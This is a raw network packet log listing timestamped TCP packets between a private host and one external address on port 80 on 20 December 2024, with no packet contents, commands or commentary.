Dec 20, 2024 11:12:48.130084991 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.130140066 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.130182028 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.130225897 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.131165981 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.131222010 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.131284952 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.131748915 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.132298946 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.132324934 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.132381916 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.133311987 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.133356094 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.133388996 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.133527040 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.134349108 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.134464025 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.134520054 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.135469913 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.135530949 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.135584116 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.136529922 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.136585951 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.136600018 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.136744976 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.137556076 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.137617111 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.137639046 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.138051987 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.138643026 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.138691902 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.138731003 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.138813019 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.139684916 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.139774084 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.139818907 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.139941931 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.140753031 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.140808105 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.140995979 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.141685963 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.141813993 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.141927004 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.141963005 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.142070055 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.142920017 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.142988920 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.143028021 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.143074036 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.144047976 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.144159079 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.144284964 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.144727945 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.145086050 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.145102024 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.145153999 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.146080971 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.146151066 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.146203995 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.147195101 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.147247076 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.147393942 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.147538900 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.148269892 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.148332119 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.148349047 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.148380995 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.149277925 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.149363995 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.149374008 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.149471045 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.150449038 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.150465012 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.150516033 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.151408911 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.151504040 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.151523113 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.151590109 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.152518988 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.152580023 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.152630091 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.153652906 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.153698921 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.153721094 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.153775930 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.154860020 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.154927015 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.155199051 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.155253887 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.157371044 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.157387972 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.157416105 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.157449961 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.159358025 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.159435034 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.159466028 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.159508944 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.159889936 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.159905910 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.159951925 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.160360098 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.160376072 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.160422087 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.160448074 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.160821915 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.160875082 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.160900116 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.160918951 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.161910057 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.161932945 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.161961079 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.161997080 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.162317991 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.162334919 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.162364960 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.162383080 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.163140059 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.163198948 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.163253069 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.164222002 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.164273024 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.164362907 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.164521933 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.165267944 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.165366888 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.165411949 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.165702105 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.166378021 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.166522026 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.166582108 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.167391062 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.167444944 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.167498112 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.167543888 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.168488979 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.168559074 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.168684959 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.168798923 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.169516087 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.169575930 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.169615984 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.169785976 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.170799017 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.170850992 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.170861959 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.170897007 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.307706118 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.307897091 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.307965994 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.308209896 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.308341980 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.308383942 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.308512926 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.309212923 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.309268951 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.309359074 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.309412003 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.310270071 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.310462952 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.310529947 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.311347961 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.311511040 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.311604977 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.311652899 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.312477112 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.312545061 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.312642097 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.312688112 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.313486099 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.313538074 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.313642025 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.313709021 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.314652920 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.314677000 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.314707041 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.314722061 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.315623999 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.315715075 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.315747976 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.315881014 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.316695929 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.316750050 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.316828012 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.316895962 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.317780972 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.317894936 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.317954063 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.318845987 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.318898916 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.318938017 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.319892883 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.319943905 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.320064068 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.320089102 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.320224047 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.320960999 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.321026087 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.321090937 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.321223974 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.322033882 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.322093010 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.322155952 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.322206974 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.323079109 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.323173046 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.323213100 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.323255062 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.324229002 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.324244976 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.324281931 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.324295998 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.325216055 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.325270891 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.325334072 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.325777054 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.326358080 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.326374054 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.326423883 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.327353954 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.327537060 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.327589035 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.327615976 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.328496933 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.328514099 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.328546047 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.328561068 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.329526901 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.329543114 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.329592943 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.330526114 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.330646992 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.330681086 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.330730915 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.331577063 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.331864119 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.331917048 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.332681894 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.332729101 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.332756042 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.332772017 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.333769083 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.333821058 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.333877087 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.334800959 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.334861994 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.334930897 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.334990025 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.335921049 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.335990906 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.335994005 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.336055994 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.336930037 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.337018013 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.337022066 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.337173939 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.337994099 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.338112116 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.338166952 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.339035034 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.339128017 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.339286089 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.339485884 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.340110064 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.340162992 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.340202093 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.341211081 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.341223955 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.341255903 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.341264009 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.341311932 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.342259884 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.342641115 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.342703104 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.343352079 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.343368053 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.343421936 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.344434977 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.344490051 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.344492912 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.344536066 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.345453024 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.345557928 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.345612049 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.346528053 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.346681118 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.346728086 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.346777916 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.347580910 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.347703934 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.347757101 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.348613977 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.348673105 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.348745108 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.348798037 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.349714994 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.349773884 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.349828005 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.349917889 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.350909948 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.350925922 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.350953102 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.350971937 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.351836920 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.351911068 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.351944923 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.351998091 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.353008032 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.353101969 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.353105068 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.353391886 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.353996992 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.354052067 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.354054928 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.354106903 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.355063915 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.355108976 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.355185032 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.355226040 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.356093884 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.356152058 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.356193066 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.356242895 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.357261896 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.357316017 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.357340097 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.357400894 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.358233929 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.358278990 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.358336926 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.358443975 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.359342098 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.359366894 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.359424114 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.360408068 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.360495090 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.360549927 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.361433983 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.361541986 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.361593962 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.362520933 CET	80	49866	185.215.113.16	192.168.2.4
